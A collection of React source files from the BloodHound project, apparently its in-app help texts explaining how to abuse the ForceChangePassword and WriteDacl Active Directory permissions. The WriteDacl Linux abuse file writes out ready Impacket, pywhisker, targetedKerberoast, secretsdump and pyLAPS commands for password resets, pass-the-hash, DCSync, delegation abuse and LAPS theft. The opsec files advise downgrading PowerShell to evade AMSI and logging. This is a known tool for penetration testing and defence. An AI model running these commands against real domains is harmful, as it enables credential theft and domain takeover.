export default LinuxAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/ForceChangePassword/LinuxAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
377
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/ForceChangePassword/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
133
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> Executing this abuse with the net binary will necessarily require command line execution. If your target organization has command line logging enabled, this is a detection opportunity for their analysts. </p> <p> Regardless of what execution procedure you use, this action will generate a 4724 event on the domain controller that handled the request. This event may be centrally collected and analyzed by security analysts, especially for users that are obviously very high privilege groups (i.e.: Domain Admin users). Also be mindful that PowerShell v5 introduced several key security features such as script block logging and AMSI that provide security analysts another detection opportunity. You may be able to completely evade those features by downgrading to PowerShell v2. </p> <p> Finally, by changing a service account password, you may cause that service to stop functioning properly. This can be bad not only from an opsec perspective, but also a client management perspective. Be careful! </p> </> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/ForceChangePassword/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
262
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import WindowsAbuse from './WindowsAbuse'; import LinuxAbuse from './LinuxAbuse'; import Opsec from './Opsec'; import References from './References'; const WriteDacl = ({ sourceName, sourceType, targetName, targetType, targetId, }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} /> </Tab> <Tab eventKey={2} title='Windows Abuse'> <WindowsAbuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} targetId={targetId} /> </Tab> <Tab eventKey={3} title='Linux Abuse'> <LinuxAbuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} targetId={targetId} /> </Tab> <Tab eventKey={4} title='Opsec'> <Opsec /> </Tab> <Tab eventKey={5} title='Refs'> <References /> </Tab> </Tabs> ); }; WriteDacl.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default WriteDacl; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteDacl/WriteDacl.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
369
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat, typeFormat } from '../Formatter'; const General = ({ sourceName, sourceType, targetName, targetType }) => { return ( <> <p> {groupSpecialFormat(sourceType, sourceName)} permissions to modify the DACL (Discretionary Access Control List) on the{' '} {typeFormat(targetType)} {targetName} </p> <p> With write access to the target object's DACL, you can grant yourself any privilege you want on the object. </p> </> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteDacl/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
174
```jsx import React from 'react'; import PropTypes from 'prop-types'; const LinuxAbuse = ({ sourceName, sourceType, targetName, targetType, targetId, haslaps, }) => { switch (targetType) { case 'Group': return ( <> <h4> Modifying the rights </h4> <p> To abuse WriteDacl to a group object, you may grant yourself the AddMember privilege. </p> <p> Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'" } </code> </pre> <h4> Adding to the group </h4> <p> You can now add members to the group. </p> <p> Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line: </p> <pre> <code> { 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"' } </code> </pre> <p> Pass-the-hash can also be done here with <a href='path_to_url net tool</a>. If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>. </p> <pre> <code> { 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"' } </code> </pre> <p> Finally, verify that the user was successfully added to the group: </p> <pre> <code> { 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"' } </code> </pre> <h4> Cleanup </h4> <p> Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'" } </code> </pre> </> ); case 'User': return ( <> <p> To abuse WriteDacl to a user object, you may grant yourself the GenericAll privilege. </p> <p> Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'" } </code> </pre> <p> Cleanup of the added ACL can be performed later on with the same tool: </p> <h4> Targeted Kerberoast </h4> <p> A targeted kerberoast attack can be performed using{' '} <a href='path_to_url </p> <pre> <code> { "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'" } </code> </pre> <p> The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well. </p> <p> The recovered hash can be cracked offline using the tool of your choice. </p> <h4> Force Change Password </h4> <p> Use samba's net tool to change the user's password. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line. The new password will be prompted if omitted from the command line. </p> <pre> <code> { 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"' } </code> </pre> <p> Pass-the-hash can also be done here with <a href='path_to_url net tool</a>. If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>. </p> <pre> <code> { 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"' } </code> </pre> <p> Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab. </p> <h4> Shadow Credentials attack </h4> <p>To abuse this privilege, use <a href='path_to_url <pre> <code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code> </pre> <p> For other optional parameters, view the pyWhisker documentation. </p> </> ); case 'Computer': if (haslaps) { return ( <> <p> To abuse WriteDacl to a computer object, you may grant yourself the GenericAll privilege. </p> <p> Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'" } </code> </pre> <p> Cleanup of the added ACL can be performed later on with the same tool: </p> <h4> Retrieve LAPS Password </h4> <p> Full control of a computer object is abusable when the computer's local admin account credential is controlled with LAPS. The clear-text password for the local administrator account is stored in an extended attribute on the computer object called ms-Mcs-AdmPwd. With full control of the computer object, you may have the ability to read this attribute, or grant yourself the ability to read the attribute by modifying the computer object's security descriptor. </p> <p> <a href='path_to_url can be used to retrieve LAPS passwords: </p> <pre> <code> { 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"' } </code> </pre> <h4> Resource-Based Constrained Delegation </h4> First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script: <pre> <code> { "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'" } </code> </pre> We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose: <pre> <code> { "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'" } </code> </pre> And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose. <pre> <code> { "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'" } </code> </pre> This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER. <h4> Shadow Credentials attack </h4> <p>To abuse this privilege, use <a href='path_to_url <pre> <code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code> </pre> <p> For other optional parameters, view the pyWhisker documentation. </p> </> ); } else { return ( <> <p> To abuse WriteDacl to a computer object, you may grant yourself the GenericAll privilege. </p> <p> Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'" } </code> </pre> <p> Cleanup of the added ACL can be performed later on with the same tool: </p> <h4> Resource-Based Constrained Delegation </h4> First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script: <pre> <code> { "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'" } </code> </pre> We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose: <pre> <code> { "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'" } </code> </pre> And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose. <pre> <code> { "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'" } </code> </pre> This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER. <h4> Shadow Credentials attack </h4> <p>To abuse this privilege, use <a href='path_to_url <pre> <code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code> </pre> <p> For other optional parameters, view the pyWhisker documentation. </p> </> ); } case 'Domain': return ( <> <p> To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. </p> <p> Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'DCSync' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'" } </code> </pre> <p> Cleanup of the added ACL can be performed later on with the same tool: </p> <h4> DCSync </h4> <p> The AllExtendedRights privilege grants {sourceName} both the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges, which combined allow a principal to replicate objects from the domain{' '} {targetName}. </p> <p> This can be abused using Impacket's secretsdump.py example script: </p> <pre> <code> { "secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'" } </code> </pre> <h4> Retrieve LAPS Passwords </h4> <p> If FullControl (GenericAll) is obtained on the domain, instead of granting DCSync rights, the AllExtendedRights privilege included grants {sourceName} enough{' '} privileges to retrieve LAPS passwords domain-wise. </p> <p> <a href="path_to_url">pyLAPS</a> can be used for that purpose: </p> <pre> <code> { 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"' } </code> </pre> </> ); case 'GPO': return ( <> <p> To abuse WriteDacl to a GPO, you may grant yourself the GenericAll privilege. </p> <p> Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'" } </code> </pre> <p> Cleanup of the added ACL can be performed later on with the same tool: </p> <p> With full control of a GPO, you may make modifications to that GPO which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write up on this abuse. </p> <p> <a href="path_to_url">pyGPOAbuse.py</a> can be used for that purpose. </p> </> ); case 'OU': return ( <> <h4>Control of the Organization Unit</h4> <p> With WriteDacl to an OU object, you may grant yourself the GenericAll privilege. </p> <h4>Generic Descendent Object Takeover</h4> <p> The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. This can be done using Impacket's dacledit (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'" } </code> </pre> <p> Now, the "JKOHLER" user will have full control of all descendent objects of each type. </p> <h4>Targeted Descendent Object Takeoever</h4> <p> If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to precisely which kinds of descendent objects. Refer to the Windows Abuse info for this. </p> </> ); case 'Container': return ( <> <h4>Control of the Container</h4> <p> With WriteDacl to a container object, you may grant yourself the GenericAll privilege. </p> <h4>Generic Descendent Object Takeover</h4> <p> The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. This can be done using Impacket's dacledit (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'" } </code> </pre> <p> Now, the "JKOHLER" user will have full control of all descendent objects of each type. </p> <h4>Targeted Descendent Object Takeoever</h4> <p> If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to precisely which kinds of descendent objects. Refer to the Windows Abuse info for this. </p> </> ); } }; LinuxAbuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, targetId: PropTypes.string, haslaps: PropTypes.bool, }; export default LinuxAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
4,291
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#s4u'> path_to_url#s4u </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#new-machineaccount'> path_to_url#new-machineaccount </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#new-machineaccount'> path_to_url#new-machineaccount </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteDacl/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
465
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what's going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support. </p> <p> Modifying permissions on an object will generate 4670 and 4662 events on the domain controller that handled the request. </p> <p> Additional opsec considerations depend on the target object and how to take advantage of this privilege. Opsec considerations for each abuse primitive are documented on the specific abuse edges and on the BloodHound wiki. </p> </> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteDacl/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
206